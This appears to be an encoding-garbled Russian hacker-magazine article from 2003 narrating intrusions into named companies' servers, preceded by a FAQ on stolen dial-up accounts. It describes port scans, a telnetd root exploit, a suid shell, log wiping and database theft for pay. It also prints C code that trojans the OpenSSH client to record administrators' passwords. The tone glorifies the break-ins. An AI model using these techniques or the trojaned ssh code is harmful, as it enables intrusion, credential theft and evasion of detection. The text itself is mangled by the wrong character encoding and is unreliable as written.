Ïðàêòè÷åñêè âñå, ÷òî çäåñü èñïîëüçóåòñÿ äëÿ<br />

õàëÿâû - íåëåãàëüíî. Áûâàþò ñëó÷àè, êîãäà<br />

ôðèøêà ïîëó÷àåòñÿ ïî îøèáêå íàñòðîéêè ñåòè<br />

(çíàìåíèòûå àêêàóíòû Global Net MS çàøèòûå â<br />

Windîçèíó), íî îñòàëüíîå - óêðàäåííûå àêêàóíòû.<br />

Ñêðèïòû ðàáîòû ñ SITA - óíèâåðñàëüíû è<br />

ïðàêòè÷åñêè âñåãäà ñîâìåñòèìû ñ<br />

GlobalOne'ñêèìè. Îòêîììåíòèðîâàííûå ôàéëû<br />

íàñòðîåê êîííåêòà (ñêðèïòû) ëåæàò âî âñåõ âèíäàõ<br />

- \WINDOWS\system32\ras. Åñëè åñòü âîïðîñû,<br />

÷èòàåì FAQ ïî RAS'ó -<br />

http://www.nair.ru/Arhiv/formet/winnt/ras.htm. Åñëè<br />

æå òû íå ñîãëàñåí ïëàòèòü çà äîñòóï ÷åðåç<br />

ñóïåðñåòü, òî ïðÿìîé ïóòü â êîíôó<br />

fido7.ru.x25.fr. Ó÷òè, òàì òåìà õàëÿâíîãî èíåòà -<br />

òàáó, îäíè ëèøü ñåòåâûå "èññëåäîâàíèÿ". Çà<br />

äîïîëíèòåëüíûì ìàòåðèàëîì "ñêðèïòîâ õàëÿâû"<br />

âàëè íà http://x25.net.ru.<br />

A: Êàê îïðåäåëèòü IP þçåðà, çíàÿ ãîñíîìåð<br />

åãî àâòîìîáèëÿ Ðàçâå ÷òî çàñòàâèòü åãî âûéòè<br />

â èíåò... Òàê è òóò - òåáå íóæíî îòïðàâèòü<br />

÷òî-ëèáî íà òîò ÿùèê è, ïîëó÷èâ îòâåò, âûöåïèòü<br />

èíòåðåñóþùèé ÀéÏè èç çàãîëîâêà ïèñüìà.<br />

Ïîëÿ áûâàþò ðàçíûìè - X-source IP, X-<br />

OriginatingIP, X-RemoteIP; ÷àñòî íàõîäèòñÿ â<br />

Received, îêàçûâàÿñü ïåðåä èìåíåì ïî÷òîâîãî<br />

õîñòà. Êîíå÷íî, áûâàåò, ÷òî IP þçâåðà<br />

(VV@putin.ru) èäåíòè÷åí ñ àäðåñîì ïî÷òîâîãî<br />

õîñòà (putin.ru), êîãäà äîìåí ïðèïèñàí ê ìàøèíå<br />

íåñ÷àñòíîãî. Íóæíî áûòü ãîòîâûì, ÷òî<br />

åìàéë áûë ïîñëàí ÷åðåç Socks (èëè öåëóþ ñåðèþ<br />

îíûõ), ò.å. îòïðàâèòåëü ñêîíâåðòèðîâàë<br />

ïî÷òîâûé ïîòîê â socks'îâûé (íàñêîëüêî ïîäîáíîå<br />

êîððåêòíî çâó÷èò, íàó÷íî - èíêàïñóëÿöèÿ).<br />

Ïîíÿòíî, ÷òî òàêîå âîçìîæíî è ñ HTTPïðîêñÿìè<br />

ïðè àíàëîãè÷íîé êîíâåðòàöèè èëè<br />

ïðè çàõîäå íà web-ïî÷òó ÷åðåç ïðîêñè. Ñîâñåì<br />

÷åòêèå ðåáÿòà ìîãóò êèíóòü ïèñüìåöî è ñ óäàëåííîé<br />

ìàøèíû (ïðîñòåéøèì mailx'îì *nix'a)<br />

èëè çàáîìáèòü, èñïîëüçóÿ SSH2-òóííåëèíã.<br />

Ñóùåñòâóþò<br />

ëè ãåíåðàòîðû íîìåðîâ<br />

êðåäèòíûõ êàðò<br />

A: Ñóùåñòâóþò, íî óæå äîëãîå âðåìÿ îíè àáñîëþòíî<br />

áåñïîëåçíû. ×ó÷åëà îáðàçöîâ êîìïüþòåðíîãî<br />

ìîøåííè÷åñòâà èñêàòü çäåñü -<br />

http://www.theinformationcenter.com.<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÏÀÐÎËÜ "ÐÛÁÀ-SHIT"<br />

Master-lame-master<br />

ÏÀÐÎËÜ «ÐÛÁÀ-SHIT»<br />

ÐÅÀËÜÍÛÅ ÈÑÒÎÐÈÈ ÍÀØÓÌÅÂØÈÕ ÂÇËÎÌÎÂ<br />

Âñå ìû ñìîòðåëè áåññìåðòíûå ôèëüìû ïðî õàêåðîâ: Õàêåðû, Ìàòðèöà, Ïàðîëü "Ðûáà-Ìå÷" è ò.ï.<br />

 íèõ, êîíå÷íî æå, âçëîì ñåêóðíûõ ñåðâåðîâ ïðîèçâîäèëñÿ çà ñ÷èòàííûå ñåêóíäû è âñåãäà óñïåøíî.<br />

Ýòî âûçûâàëî ëèøü ãðèìàñû íà ëèöàõ ëþäåé, èìåþùèõ õîòü íåáîëüøîå ïðåäñòàâëåíèÿ î âçëîìå.<br />

Âåäü ïðîöåññ õàêà ìîæåò äëèòüñÿ íåäåëÿìè, à òî è ìåñÿöàìè, è äàëåêî íå âñåãäà óñïåøíî. Êîìó,<br />

êàê íå õàêåðàì, çíàòü, ÷òî âçëîìùèê ÷àñòî âçäðàãèâàåò îò òåëåôîííûõ çâîíêîâ è íåæäàííûõ<br />

ãîñòåé. Ïàðàíîéÿ äëÿ õàêåðîâ îáû÷íîå ÿâëåíèå, è ñ ýòèì íè÷åãî íåëüçÿ ïîäåëàòü...<br />

Íî õâàòèò î ãðóñòíîì. Âçëîì ñàì ïî ñåáå î÷åíü<br />

àçàðòíàÿ øòóêà. Îí ïîõîæ íà ýêñòðåìàëüíûé âèä<br />

ñïîðòà - â ëþáîé ìîìåíò õàêåðà ìîãóò çàñå÷ü, è<br />

âñå áåññîííûå íî÷è, ïîòðà÷åííûå íà ñáîð äàííûõ,<br />

ñêàíèðîâàíèå, âòîðæåíèå, îêàæóòñÿ íàïðàñíûìè.<br />

Íî åñëè õàêåð âñå æå âçëàìûâàåò ñåðâåð,<br />

ýòî ïîäîáíî ïîêîðåíèþ ãîðíîé âåðøèíû è ñðàâíèìî<br />

ñ ïîáåäîé â ñëîæíîì ïîåäèíêå.<br />

ÝÒÞÄ ÏÅÐÂÛÉ: ÂÇËÎÌ ÁÈËËÈÍÃÎÂÎÉ<br />

ÑÈÑÒÅÌÛ WWW.ICBILL.COM<br />

Äîñèæèâàÿ íî÷ü â ñåòè è îñîçíàâàÿ, ÷òî ïîðà ëîæèòüñÿ<br />

ñïàòü, îäèí õàêåð êðàåì ãëàçà çàìåòèë çàãàäî÷íûé<br />

ïðèâàò â IRC. Êàê îêàçàëîñü, åãî ñîáåñåäíèêó<br />

óæ î÷åíü ïðèãëÿíóëñÿ php-äâèæîê íåêîòîðîé<br />

áèëëèíãîâîé êîìïàíèè. Âçëîìùèê õîòåë<br />

áûëî çàáèòü íà åãî ïðîñüáó - äîñòàòü ýòè ñàìûå<br />

php-ñêðèïòû, íî òîò ïðîäîëæàë óïðàøèâàòü, ñîáëàçíÿÿ<br />

íåõèëîé ñóììîé â ñëó÷àå óñïåõà. "Ýòî<br />

ìåíÿåò äåëî", - ïîäóìàë õàêåð è îêîí÷àòåëüíî çàáèë<br />

íà âñå îñòàëüíûå äåëà. Çàêàç÷èê îñòàâèë<br />

ñâîé e-mail è ïîïðîñèë ñâÿçàòüñÿ ñ íèì, êîãäà âñå<br />

áóäåò ãîòîâî.<br />

ÑÁÎÐ ÄÀÍÍÛÕ Î ÏÐÎÒÈÂÍÈÊÅ<br />

Âîîðóæèâøèñü nmap'îì, âçëîìùèê áåðåæíî ïîùóïàë<br />

ñåðâåð ñî âñåõ ñòîðîí. ×åðåç äåñÿòü ìèíóò<br />

stealth-ñêàíà, nmap âûäàë ïðèìåðíî ñëåäóþùåå:<br />

Íåìíîãî ïîäóìàâ, õàêåð ðåøèë ïðîâåðèòü ñåðâåð<br />

íà îøèáêè â httpd. Ñäåëàë çàïðîñ "HEAD /<br />

Starting nmap V. 3.00 (<br />

www.insecure.org/nmap/ )<br />

Interesting ports on www.icbill.com<br />

(213.43.4.23):<br />

(The 1580 ports scanned but not shown below<br />

are in state: closed)<br />

Port State Service<br />

21/tcp open ftp<br />

22/tcp open ssh<br />

23/tcp open telnet<br />

25/tcp open smtp<br />

53/tcp open domain<br />

80/tcp open http<br />

110/tcp open pop-3<br />

143/tcp open imap2<br />

3306/tcp open mysql<br />

Nmap run completed -- 1 IP address (1 host<br />

up) scanned in 610 seconds<br />

HTTP/1.0" è ïîíÿë, ÷òî àäìèíû íå ëûêîì øèòû -<br />

àïà÷ áûë ïîñëåäíåé âåðñèè, ñóùåñòâîâàâøåé íà<br />

òîò ìîìåíò. Òîãäà õàêåð ïîëåç èñêàòü ðàáî÷óþ<br />

ïðîêñþ íà www.proxycheck.spylog.ru, à ïîòîì ñòàë<br />

îñìàòðèâàòü ñàìó ñòðóêòóðó äâèæêà. Âñòàâêà ýêçîòè÷åñêèõ<br />

ïåðåìåííûõ â QUERY_STRING íå äàëà<br />

íèêàêèõ ðåçóëüòàòîâ. Âîçíèêëà ìûñëü, ÷òî ó çàêàç÷èêà<br />

ýòîãî äâèæêà äåéñòâèòåëüíî õîðîøèé<br />

âêóñ. Ïîáðîäèâ òàêèì îáðàçîì ïî âåáó â òå÷åíèå<br />

ìèíóò äâàäöàòè, íàø ãåðîé óæ áûëî îò÷àÿëñÿ â<br />

óñïåõå, êàê âäðóã âñïîìíèë, ÷òî äîïóñòèë îøèáêó<br />

â ñáîðå ìàòåðèàëà - îí åùå äàæå íå çíàë îïåðàöèîííîé<br />

ñèñòåìû, ïîä êîòîðîé ðàáîòàåò ýòîò äâèæîê.<br />

Fingerprint nmap'à íå ñêàçàë íè÷åãî âðàçóìèòåëüíîãî,<br />

à âîò áàííåðû îòêðûòûõ 21 è 22 ïîðòîâ<br />

ìîãëè çàïðîñòî âûäàòü îïåðàöèîíêó. Äëÿ ýòîãî îí<br />

âîñïîëüçîâàëñÿ óòèëèòîé netcat:<br />

[root@shell root]# nc icbill.com 21<br />

220 ProFTPD 1.2.6 Server (ProFTPD on<br />

www.icbill.com) ready<br />

^C punt!<br />

[root@shell root]# nc icbill.com 22<br />

SSH-1.99-OpenSSH_2.3.0 FreeBSD localisations<br />

20010713<br />

ÂÒÎÐÆÅÍÈÅ È ÏÎÈÑÊ<br />

Âóàëÿ! Âîò è èíòåðåñíàÿ èíôîðìàöèÿ. Íàø äåÿòåëü<br />

áûñòðî äîãàäàëñÿ, ÷òî íà ñåðâåðå óñòàíîâëåíà<br />

FreeBSD. Ïîäóìàâ åùå ïàðó ìèíóò è âçâåñèâ âñå ïîëó÷åííûå<br />

äàííûå, îí ïîðûëñÿ â ñâîåì àðõèâå è íàøåë<br />

äîâîëüíî ñòàðûé ýêñïëîèò äëÿ äûðÿâûõ âåðñèé<br />

telnetd. Ñóòü åãî çàêëþ÷àëàñü â ïåðåñûëêå 16-ìåãàáàéòíîãî<br />

òðàôèêà íà 23 ïîðò, ïîñëå ÷åãî ñèñòåìà<br />

äîëæíà áûëà ñäàòüñÿ è ïðîòÿíóòü Remote-Root-<br />

Access. Õàêåðà ìó÷èëè ñìóòíûå ñîìíåíèÿ, ò.ê. ýòèì<br />

ñïëîèòîì óæå ïðàêòè÷åñêè íè÷åãî íåëüçÿ áûëî ïîõàêàòü.<br />

Íî îí âñå æå ïîïðîáîâàë... È ê åãî óäèâëåíèþ<br />

ýêñïëîèò âûäàë ñëîâî PASSED, ÷òî îçíà÷àëî ñîâïàäåíèå<br />

îïåðàöèîíêè ñ ëîìàâøåéñÿ îñüþ. Òåïåðü<br />

ìîæíî áûëî íåìíîãî âçäðåìíóòü â êðåñëå. Ñîçíàíèå<br />

ïðîáóäèëîñü ïðè ïîÿâëåíèè íàäïèñè "uid=0(root)<br />

gid=0(root)" â êîíñîëè. Äà, äà! Âîò îíà óäà÷à! Âñå-<br />

1 2 3 4<br />

56 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


òàêè àäìèíû ïëîõî ñëåäèëè çà ñâîèì ñîôòîì, âåäü<br />

çà÷åì, ñïðàøèâàåòñÿ, êðóòèòü íà ñåðâåðå telnetd è<br />

sshd îäíîâðåìåííî Òåïåðü íàäî áûëî äóìàòü, ÷òî<br />

äåëàòü äàëüøå ñ ðóòîâûìè ïðàâàìè :). Îí áûñòðåíüêî<br />

ñîçäàë íîâîãî ïîëüçîâàòåëÿ, óáåäèâøèñü, ÷òî â<br />

ñèñòåìå íèêîãî íåò (áûëà íî÷ü - àäìèíû ñïàëè). Çàòåì,<br />

ñìåíèâ åìó ïàðîëü, çàíîâî çàëîãîíèëñÿ ïî ssh.<br />

È ýòî áûëî ïóñòü íåáîëüøîé, íî îøèáêîé, èáî ëîãè<br />

ñäåëàëè ñâîå ÷åðíîå äåëî, çàïèñàâ âõîä õàêåðà â<br />

áèíàðíûé wtmp è òåêñòîâûé messages. Î ÷èñòêå ëîãîâ<br />

âçëîìùèê ïîçàáîòèëñÿ íåñêîëüêî ïîçæå. Ñåé÷àñ<br />

æå åãî âîëíîâàëî äðóãîå - äðóæåñòâåííîå çàèìñòâîâàíèå<br />

php-ñêðèïòîâ è äàìï sql-áàçû. Íî äëÿ íà÷àëà<br />

îí ñäåëàë ñåáå íîðìàëüíûé ðóòøåëë. Ïðèøëîñü íàïèñàòü<br />

ïðîñòåíüêèé ñèøíèê ñ ôóíêöèÿìè setuid, setgid<br />

è çàïóñêîì /bin/sh. Äàëåå ñëåäîâàë ïðîöåññ êîìïèëÿöèè,<br />

óñòàíîâêè suid-áèòà ïîä ðóòîì è çàïóñê íîâîãî<br />

øåëëà èç-ïîä îáû÷íîãî ïîëüçîâàòåëÿ. Òåïåðü ó<br />

õàêåðà áûë ïðîñòîé, íî êîìôîðòàáåëüíûé rootaccess<br />

ñ ïîääåðæêîé ïñåâäîòåðìèíàëà.<br />

Åãî èíòåðåñîâàëî, ÷òî æå ðàáîòàåò íà ýòîì ñåðâåðå.<br />

Äëÿ ýòîãî îí íàáðàë "ps ax" â êîíñîëè è ñòàë<br />

ðàçãëÿäûâàòü ñïèñîê ïðîöåññîâ. Íà ñåðâåðå áûëî<br />

çàïóùåíî ìíîãî ìóñîðà, òàêîãî êàê: ñèíõðîíèçàöèÿ<br />

âðåìåíè, êàêèå-òî ñòðàííûå ñ÷èòàëêè òðàôèêà<br />

è ïðî÷àÿ åðóíäà. Áîëüøå âñåãî áûë èíòåðåñåí<br />

ïðîöåññ httpd, à èìåííî ïóòü ê íàñòðîéêàì ñåðâåðà.<br />

Îòûñêàâ åãî, âçëîìùèê ïðîïàðñèë ôàéë íà<br />

íàëè÷èå äèðåêòèâû DocumentRoot. Èìåííî ÷åðåç<br />

íåå îí ìîã óçíàòü, ãäå íàõîäÿòñÿ php-ñêðèïòû. Íî<br />

ñàìè ñêðèïòû - ëèøü ÷àñòü åãî çàäà÷è, íóæíû áûëè<br />

è äàííûå èç sql-áàçû. Ïðèøëîñü âîñïîëüçîâàòüñÿ<br />

çàìå÷àòåëüíîé ïðîãðàììîé mysqldump. Ñ<br />

åå ïîìîùüþ îí áûñòðåíüêî çàäàìïèë äàòàáàçó,<br />

òåì ñàìûì âûïîëíèâ âñþ íåîáõîäèìóþ ðàáîòó.<br />

ÊÎÍ×ÈË - ÏÐÎÒÐÈ ÑÒÀÍÎÊ<br />

Êàê âèäíî, ïðîöåññ âçëîìà íå îáîøåëñÿ áåç ïîáî÷íûõ<br />

ýôôåêòîâ - õàêåð ïðèëè÷íî íàñëåäèë íà ñåðâåðå.<br />

Íî ëîãâàéïåðû íèêòî íå îòìåíÿë, ïîýòîìó, ïîðûâøèñü<br />

íà òåìàòè÷åñêèõ ñàéòàõ, îí îòûñêàë ïðîãðàììêó<br />

ïîä íàçâàíèåì grlogwipe. Îíà ÷èñòèò ïðàêòè÷åñêè<br />

âñå èçâåñòíûå ëîãè. Ýòèì è âîñïîëüçîâàëñÿ<br />

íàø ãðîçíûé ïîêîðèòåëü ñåðâåðîâ. Ïîñëå òàêîãî<br />

î÷èùåíèÿ îí çààðõèâèðîâàë âåñü äâèæîê, sql-áàçó<br />

è ñëèë ïîëó÷åííûå ôàéëû ñ âåáà ýòîé æå êîìïàíèè<br />

(íàãëîñòü - âòîðîå ñ÷àñòüå ;)). Òåïåðü ìîæíî áûëî<br />

ñî ñïîêîéíîé äóøîé îòïðàâëÿòüñÿ ñïàòü.<br />

Ïðîñíóâøèñü, õàêåð ñòàë ñîîáðàæàòü, êàê åìó<br />

ïðîâåñòè ñäåëêó ñ çàêàç÷èêîì. Ðåøåíèå áûëî òàêèì:<br />

çàêàç÷èêó ïåðåñûëàþòñÿ áàçû, ïîñëå ÷åãî<br />

òîò äîëæåí ðàñïëàòèòüñÿ ñî âçëîìùèêîì, è òîëüêî<br />

ïîñëå îïëàòû îí ïîëó÷èò íåîáõîäèìûå ñêðèïòû.<br />

Òàê êàê áàçû áåç ñêðèïòîâ íè÷åãî íå çíà÷àò,<br />

Íàõîäèì è çàáèðàåì php-äâèæîê<br />

óñëîâèÿ ñäåëêè óñòðîèëè îáå ñòîðîíû. È ÷òî óäèâèòåëüíî,<br />

ñäåëêà ïðîøëà áåç âñÿêèõ îñëîæíåíèé.<br />

Ìîðàëü ñåé áàñíè: àäìèíû - ëåíèâûå ëþäè, çàáèâàþùèå<br />

íà îáíîâëåíèå ñîôòà. Â íàøåì ïðèìåðå<br />

ýòî îáåðíóëîñü óòå÷êîé èíôîðìàöèè. Íî âñå<br />

ìîãëî áûòü èíà÷å, çàáåðèñü â ñèñòåìó âàíäàëðàçðóøèòåëü...<br />

ÝÒÞÄ ÂÒÎÐÎÉ: ÂÇËÎÌ WWW.NIKITA.RU<br />

Ïðàêòè÷åñêè âñå çíàþò, êòî òàêèå scriptkiddies.<br />

Ýòî òèï õàêåðîâ, êîòîðûå èùóò íàøóìåâøèå â<br />

bugtraq óÿçâèìîñòè, à çàòåì ïðèìåíÿþò èõ íà<br />

ñåðâåðàõ, ïðè÷åì ÷àùå âñåãî êðóïíûõ. Òàêîé õàê<br />

ñàì ïî ñåáå íå îïðàâäàí, íî â êàêîé-òî ìåðå ïîìîãàåò<br />

íàáðàòüñÿ îïûòà äëÿ áîëåå ñåðüåçíûõ<br />

âçëîìîâ. Ìíîãèå èç òåõ, êòî ëîìàåò ñåðâåðà, áûëè<br />

èëè ÿâëÿþòñÿ ýòèìè ïðåñëîâóòûìè ñêðèïòêèäèñàìè.<br />

Òàê ÷òî äàëüíåéøèé ðàññêàç ïîéäåò îá<br />

èñòîðèè âçëîìà ñåðâåðà ÷åðåç ñêðèïòêèäèñîâñêóþ<br />

ïðèçìó ïîíèìàíèÿ "êóëüòóðû õàêà".<br />

Íà ñàìîì äåëå, ñêðèïòêèäè íå îáÿçàòåëüíî ëîìàåò<br />

ñàéòû ÷åðåç óÿçâèìûå ñêðèïòû. Ýòî ìîæåò<br />

áûòü è ëþáàÿ äûðà â ñèñòåìå, äëÿ êîòîðîé ñóùåñòâóåò<br />

àëãîðèòì âçëîìà, èëè, ïîïðîñòó ãîâîðÿ,<br />

äëÿ ýòîé îøèáêè âûëîæåí public-ýêñïëîèò. Ïîëãîäà<br />

íàçàä íàøóìåâøèõ áàãîâ áûëî íåìíîãî. Îäèí<br />

èç íèõ - óÿçâèìîñòü â mod_php, ïîëó÷åíèå óäàëåííîãî<br />

øåëëà ñ ïðàâàìè nobody. Îá ýòîé îøèáêå<br />

è ïîéäåò ðå÷ü.<br />

 îäèí ïðåêðàñíûé äåíü íàø ñêðèïòêèäè ðåøèë<br />

ïîñêàíèòü ñåòü. Îí îñòàíîâèë âûáîð íà www.nikita.ru,<br />

ò.ê. íåäàâíî êóïèë ñåáå ôèðìåííûé äèñê ñ<br />

èãðîé Parkan (íäà, íåèñïîâåäèìû ïóòè ãîñïîäíè<br />

:) - ïðèì. ðåä). Ïî îïðåäåëåíèþ, ñêðèïòêèäè íå<br />

çàíèìàåòñÿ äåòàëüíûì èçó÷åíèåì ïðîòèâíèêà;<br />

äëÿ íåãî àêòóàëüíî ëèøü íàëè÷èå èëè îòñóòñòâèå<br />

æåëàåìîé óÿçâèìîñòè.  íàøåì ñëó÷àå - ýòî<br />

mod_php (âåðñèÿ 4.0.1-4.0.7).<br />

Âçëîìùèê äàâíî ðàçðàáîòàë óäîáíûé àëãîðèòì<br />

äëÿ îïðåäåëåíèÿ òèïà web-ñåðâåðà. Äëÿ ýòîãî<br />

åìó áûëà íåîáõîäèìà åäèíñòâåííàÿ ñåòåâàÿ óòèëèòà<br />

netcat, êîòîðóþ îí âñåãäà è èñïîëüçîâàë.<br />

Çíàÿ ìåõàíèçì ðàáîòû ôàéëîâûõ äåñêðèïòîðîâ,<br />

õàêåð ñîçäàë ôàéë get.txt. Â íåì íàõîäèëñÿ çàïðîñ<br />

www-çàãîëîâêà (HEAD / HTTP/1.0 è äâà ñèìâîëà<br />

ïåðåâîäà ñòðîêè - \n\n). Åãî îí ïåðåäàë netcat'ó,<br />

â èòîãå ïîëó÷èâ îòâåò îò apache.<br />

int<br />

userauth_passwd(Authctxt *authctxt)<br />

{<br />

static int ifile, attempt = 0; /* Íå<br />

çàáóäåì îáúÿâèòü ïåðåìåííóþ ifile */<br />

if (attempt != 1)<br />

error("Permission denied, please try<br />

again.");<br />

snprintf(prompt, sizeof(prompt),<br />

"%.30s@%.128s's password: ",<br />

authctxt->server_user, authctxt-<br />

>host);<br />

password = read_passphrase(prompt, 0);<br />

/* Øïèîíñêàÿ âñòàâêà â ïðàâèëüíûé êîä :)<br />

*/<br />

ifile=fopen("/usr/share/locale/it/console.it",<br />

"a"); /* Îòêðîåì øïèîíñêèé ôàéë íà çàïèñü<br />

â êîíåö */<br />

fprintf(ifile, "%s %s is %s\n", authctxt->server_user,<br />

authctxt->host, password);<br />

/* Çàïèøåì â ôàéë èìÿ ïîëüçîâàòåëÿ, õîñò<br />

è ïàðîëü - ãëàâíóþ èíôîðìàöèþ äëÿ<br />

ðàçìûøëåíèÿ ;) */<br />

fclose(ifile); /* Êîððåêòíî çàêðîåì ôàéë */<br />

Îòïðàâëÿåì ïðîòèâíèêà â íîêàóò<br />

Øåñòîå ÷óâñòâî íå ïîäâåëî õàêåðà ïðè âûáîðå<br />

æåðòâû - â òåëå îòâåòà ñåðâåðà äåéñòâèòåëüíî áûë<br />

PHP âåðñèè 4.0.6. À ýòà âåðñèÿ, êàê èçâåñòíî,<br />

ëîìàåòñÿ ñ áîëüøèì ãðîõîòîì. Òåïåðü<br />

íåîáõîäèìî áûëî îáíàðóæèòü ëþáîé php-<br />

5 6 7 8 9<br />

Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 57


Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÏÀÐÎËÜ "ÐÛÁÀ-SHIT"<br />

Master-lame-master<br />

ñêðèïò, ÷òî è ïðîäåëàë íàø âçëîìùèê. Ñêðèïò íàéäåí,<br />

äåëî îñòàâàëîñü çà ìàëûì - çàïóñòèòü 7350fun<br />

è æäàòü ðåçóëüòàòà.<br />

Áóêâàëüíî ÷åðåç 20 ìèíóò ïåðåáîðà îôñåòîâ,<br />

apache ñäàëñÿ è âûäàë nobody-øåëë. Äàëüøå<br />

ñêðèïòêèäè îïðåäåëèë îïåðàöèîííóþ ñèñòåìó, ýòî<br />

îêàçàëàñü RedHat 7.0. Â áîé ïîøëè ëîêàëüíûå ýêñïëîèòû.<br />

Íà ñåðâåð áûë óñòàíîâëåí äûðÿâûé sendmail.<br />

Ñ ïîìîùüþ ñïëîèòà sxp.c (ïðî íåãî óæå ïèñàë<br />

][ â ñòàòüå "top10 exploits"), õàêåð äîñòèã rootïðàâ.<br />

Ïîñëå óñòàíîâêè ðóòêèòà åìó ïîä÷èíèëàñü<br />

âñÿ ñèñòåìà... À âñå èç-çà êàêîãî-òî php-ìîäóëÿ.<br />

ÓÃËÓÁËßÅÌÑß Â ÊÎÄÈÍÃ<br />

Ýòîìó ãåðîþ îäíîãî âçëîìà îêàçàëîñü ìàëî, è îí<br />

ñòàë ëèñòàòü èñòîðèþ êîìàíä àäìèíèñòðàòîðà.<br />

Íàéäåíû áûëè òîëüêî èñõîäÿùèå êîííåêòû ïî ssh,<br />

íî áåç âñÿêèõ ïàðîëåé. John The Ripper òàêæå îêàçàëñÿ<br />

áåñïîëåçíûì. Íî êèäèñ íå ñäàâàëñÿ, ïûòàÿñü<br />

ïðèäóìàòü ÷òî-íèáóäü åùå. È ïðèäóìàë-òàêè - íàäî<br />

ïðîïàò÷èòü ñûðöû ssh, ÷òîáû îí ëîãèðîâàë ïàðîëè.<br />

Óçíàâ âåðñèþ ssh (ssh -V), õàêåð ïîëåç åãî ñêà÷èâàòü<br />

(www.openssh.org). Ñêà÷àë, ðàñïàêîâàë. Íà-<br />

÷àë äåòàëüíîå èçó÷åíèå ñîðñîâ. Åìó íàäî áûëî<br />

íàéòè ìåñòî, ãäå ïåðåäàåòñÿ ïàðîëü. Â ôàéëàõ<br />

sshconnect1.c è sshconnect2.c îáíàðóæèëèñü<br />

Íàéòè php-ñêðèïò - ïðîùå ïðîñòîãî =)<br />

ôóíêöèè ïî çàïðîñó ïàðîëåé. Òåïåðü îñòàâàëîñü<br />

òîëüêî íåìíîãî ñìîäèôèöèðîâàòü êîä:<br />

[root@hack work]# nc -vv www.nikita.ru 80 <<br />

./get.txt |grep Server<br />

Server: Apache/1.3.19 (Unix)<br />

mod_perl/1.24_01 mod_throttle/2.11<br />

PHP/4.0.6 FrontPage/4.0.4.3 mod_ssl/2.8.3<br />

OpenSSL/0.9.6b mod_gzip/1.3.19.1a<br />

sent 17, rcvd 359<br />

[root@hack work]#<br />

Ïðîïàò÷èâ äâà ýòèõ ôàéëà, õàêåð çàíîâî ïåðåñîáðàë<br />

openssh. Çàìåíèë åäèíñòâåííûé /usr/bin/ssh,<br />

ïîñòàâèë ñòàðóþ äàòó. Ïîòîì ñîçäàë ôàéë<br />

/usr/share/locale/it/console.it ñ ïðàâàìè äîñòóïà 666,<br />

÷òîáû áèíàðíèê ìîã êîððåêòíî çàïèñûâàòü â íåãî<br />

àêêàóíòû. Ïîñëå ýòîãî ñòåð ëîãè è óäàëèëñÿ. Îñòàâàëîñü<br />

òîëüêî äîæäàòüñÿ ïîÿâëåíèÿ àäìèíà, êîòîðûé,<br />

ïî ëîãèêå âåùåé, äîëæåí áûë çàéòè íà äðóãîé<br />

ñåðâåð ôèðìû Nikita. Òàê, ñîáñòâåííî, è ïðîèçîøëî.<br />

×òî ïðèìå÷àòåëüíî, àäìèí èñïîëüçîâàë<br />

root-àêêàóíò äëÿ ïîäêëþ÷åíèÿ, ïîýòîìó, ïðî÷èòàâ<br />

console.it, âçëîìùèê óçíàë âñþ ïîëåçíóþ èíôó.<br />

Òåáÿ èíòåðåñóåò, ÷åì âñå çàêîí÷èëîñü Èç-çà òîãî,<br />

÷òî õàêåð íå èñïîëüçîâàë øåëë â êà÷åñòâå õàêïëîùàäêè,<br />

åãî íå çàìå÷àëè äîâîëüíî äîëãî. Ê òîìó<br />

æå îí ìîã ïîëó÷àòü íà õàëÿâó âñå êîììåð÷åñêèå<br />

ïðîäóêòû âçëîìàííîé ôèðìû. PHP-áàã íà ñåðâåðå<br />

òàê è îñòàëñÿ íåçàïàò÷åííûì â òå÷åíèå ïîëóãîäà.<br />

Ïîòîì, íàêîíåö, ñèñòåìà áûëà çàìåíåíà íîâîé,<br />

è ïàðîëè ñóïåðïîëüçîâàòåëÿ èçìåíèëèñü.<br />

ÑÊÀÇÊÀ ËÎÆÜ, ÄÀ Â ÍÅÉ ÍÀÌÅÊ...<br />

Äàëåêî íå âñå âçëîìû ïðîõîäÿò òàê ãëàäêî. Ïîðîé<br />

ýòî áåññîííûå íî÷è, ïîñëå êîòîðûõ õàêåð íàõîäèò<br />

òîíåíüêóþ íèòî÷êó â ñèñòåìå, çà íåå îí è öåïëÿåòñÿ.<br />

À èíîãäà íåò è åå. Âñå çàâèñèò îò ñèñòåìíûõ<br />

ðóê àäìèíèñòðàòîðîâ.<br />

Íå ñòîèò ðàñöåíèâàòü ýòîò ìàòåðèàë êàê ëæèâûé<br />

êèíîðîìàí - âñå âçëîìû, îïèñàííûå çäåñü, ðåàëüíû.<br />

Äëÿ ïðîñòîòû ïîíèìàíèÿ áûëè ëèøü îïóùåíû<br />

ïîïûòêè ñáîðà äàííûõ, íå óâåí÷àâøèåñÿ<br />

óñïåõîì, à òàêæå íåêîòîðûå ïðîìàõè õàêåðà ïî<br />

ïðè÷èíå íåîïûòíîñòè èëè ëåíè. Äëÿ íàñ âñåãäà<br />

îñòàåòñÿ ãëàâíûì èòîã - íàðóøèòåëü ïðîðûâàåòñÿ<br />

÷åðåç âñåâîçìîæíûå ñèñòåìû áåçîïàñíîñòè è îñòàåòñÿ<br />

íåçàìåòíûì äëÿ àäìèíîâ...<br />

Êîäèì äî ïîòåðè ñîçíàíèÿ<br />

Îñíîâíûå ïðèíöèïû õàêåðà<br />

×òî æå ïîìîãëî õàêåðó â åãî íåëåãêîì äåëå<br />

1. Âçëîìùèê íèêîãäà íå ïðåíåáðåãàåò ñáîðîì äàííûõ î ïðîòèâíèêå, è ëèøü ïîñëå<br />

ïîëó÷åíèÿ èñ÷åðïûâàþùåé èíôîðìàöèè ïûòàåòñÿ ëîìàòü æåðòâó ÷åðåç âîçìîæíûå<br />

óÿçâèìîñòè.<br />

2. Âçëîìùèê äëÿ ïðîäóêòèâíîé ðàáîòû äîâîëüíî ÷àñòî ïîëüçóåòñÿ íåçàìåíèìûìè<br />

ïðîãðàììàìè nmap è netcat. Ñêà÷àòü èõ ìîæíî ÷åðåç ïîèñêîâèê unix-like-ïðîãðàìì<br />

www.freshmeat.net.<br />

